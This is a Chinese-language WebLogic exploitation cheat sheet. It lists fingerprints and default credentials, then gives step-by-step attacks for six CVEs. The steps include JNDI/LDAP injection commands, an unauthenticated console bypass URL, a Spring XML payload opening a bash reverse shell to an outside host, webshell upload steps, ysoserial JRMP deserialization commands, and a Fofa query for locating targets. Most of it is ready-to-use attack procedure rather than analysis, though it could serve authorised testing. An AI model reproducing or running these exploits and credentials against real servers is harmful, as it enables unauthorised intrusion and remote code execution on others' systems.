一、介绍

1、简介

```
    Weblogic是美国Oracle公司下的应用服务器（Application Server），一个基于JAVAEE架构的中间件，用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的JAVA应用服务器。
```

2、指纹

```
    端口7001
    404报错指纹：The server has not found anything matching the Request-URI
```

3、弱口令

```
    weblogic/Oracl@123
    weblogic/weblogic
    guest/guest
    portaladmin/portladmin
    admin/security
    joe/password
    system/security
    wlcsystem/wlcsystem
    wlcsystem/sipisystem
    system/password
```

二、漏洞

CVE-2021-2394 反序列化

```
# 影响版本
    10.3.6.0.0
    12.1.3.0.0
    12.2.1.3.0
    12.2.1.4.0
    14.1.1.0.0
```

```
# 利用条件
    可以访问网站后台
```

```
# 利用方法
    1、VPS使用JNDI工具搭建ldap服务（请求dnslog命令），测试是否出网
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl xx.dnslog.cn" -A [开启ldap服务的vps]
    2、执行exp脚本，dnslog成功接收到请求，目标主机出网
    java -jar CVE_2021_2394.jar [被攻击者IP] [端口] [生成的ldap服务，jdk7\jdk8都可以]
    3、生成生成反弹shell（base编码）的ldap服务
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl xx.dnslog.cn" -A [开启ldap服务的vps]
    4、VPS监听端口
    5、执行exp脚本，成功接收到shell
```

```
# 参考链接
    复现：https://blog.csdn.net/m0_51330619/article/details/120254124
    工具：https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0
```

```
# 漏洞原理
    在Weblogic的T3协议中，客户端和服务器之间是通过序列化和反序列化进行数据通信，T3协议为了确保安全性，将不安全的类列入了黑名单。因为是黑名单，也就有了绕过补丁的可能性，再加上Weblogic的开发没有主观能动性，对于安全态度不算积极，只要有人上报CVE，才会添加黑名单，导致很多反序列化绕过的案例。
```

CVE-2021-2109 命令执行

```
# 影响版本
    10.3.6.0.0
    12.1.3.0.0
    12.2.1.3.0
    12.2.1.4.0
    14.1.1.0.0
```

```
# 利用条件
    可以访问网站后台
```

```
# 利用方法
    1、通过CVE-2020-14882未授权访问漏洞，进入到后台管理系统
    http://your-ip:7001/console/css/%252E%252E%252Fconsole.portal
    2、Burp抓包并放到Repeter模块，修改请求方法为post，并在请求头中添加cmd:id，data中添加如下数据
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Basic/WeblogicEcho;AdminServer%22)
    3、将cmd的值改为base64编码后的反弹shell命令
    4、成功接收shell
```

```
# 参考链接
    复现：https://blog.csdn.net/qq_44159028/article/details/114305363
```

```
# 漏洞原理
    JNDI注入
```

CVE-2020-14883 命令执行

```
# 影响版本
    10.3.6.0.0
    12.1.3.0.0
    12.2.1.3.0
    12.2.1.4.0
    14.1.1.0.0
```

```
# 利用条件
    可以访问网站后台
```

```
# 利用方法
    1、通过CVE-2020-14882未授权访问漏洞，进入到后台管理系统
    http://your-ip:7001/console/css/%252E%252E%252Fconsole.portal
    2、在VPS上假设一个xml文件，内容为反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
    3、在目标网站中构造一个请求VPS的xml文件的参数值
    http://your-ip:7001/console/css/%252E%252E%252Fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
pport.FileSystemXmlApplicationContext("http://example.com/rce.xml")
    4、VPS成功接收请求，网站执行了文件中内容，成功接收到shell
```

```
# 参考链接
    利用：https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-
14882/README.zh-cn.md
```

```
# 漏洞原理
    管理后台具有代码执行的功能
```

CVE-2020-14882 未授权访问

```
# 影响版本
    10.3.6.0.0
    12.1.3.0.0
    12.2.1.3.0
    12.2.1.4.0
    14.1.1.0.0
```

```
# 利用条件
    需要存在/console控制台目录
```

```
# 利用方法
    通过构造好的poc进行未授权访问
    http://ip:7001/console/images/%252E%252E%252Fconsole.portal
```

```
# 参考链接
    利用：https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
```

```
# 漏洞原理
    开发者未做好后台系统的权限校验，导致未授权的用户可以绕过管理控制台的权限校验
```

CVE-2018-2894 文件上传

```
# 影响版本
    10.3.6
    12.1.3
    12.2.1.2
    12.2.1.3
```

```
# 利用条件
    后台登陆
```

```
# 利用方法
    1、访问:7001/console
    2、获取密码并登录
    docker-compose logs | grep password
    3、启动web服务测试页
    base_domain -> 高级 -> 启用Web服务测试页
    4、访问/ws_utc/config.do 设置工作目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    5、上传木马文件并抓返回包中的时间戳
    安全 -> 添加 -> 上传文件
    6、访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，执行命令
```

```
# 参考链接
    复现：https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
```

```
# 漏洞原理
    Web服务测试页面存在文件上传漏洞，但是Web服务测试页面在"生产模式"下默认不开启，所以漏洞有一定限制
```

CVE-2018-2628 反序列化

```
# 影响版本
    10.0.2.0
    10.3.6.0
```

```
# 发现方式
    Fofa搜索：app="Weblogic_interface_7001"
```

```
# 利用条件
    1、7001端口开放
    2、T3协议开放
```

```
# 利用方法
    1、启动一个JRMP 服务器，[listen prot]添加JRMP服务器监听的端口，[Command]添加要执行的命令（添加base64编码后的反弹shell命令）
    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
    2、使用exploit.py脚本向目标Weblogic发送数据包，[victim ip]添加目标IP，[victim port]添加目标端口，[path to ysoserial]添加本地ysoserial的路径，[JRMPListener ip]添加JRMP服务器的IP，[JRMPListener port]添加JRMP服务器的端口
    python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] JRMPClient
    3、成功接收shell
```

```
# 参考链接
    利用：https://blog.csdn.net/qq_45300786/article/details/115580662
```

```
# 漏洞原理
    该漏洞主要源于开放了T3服务，所有Weblogic控制台7001端口都使用了该服务。攻击者利用RMI绕过Weblogic黑名单限制，其内容被readObject解析，从而造成的反序列化远程代码执行漏洞。
```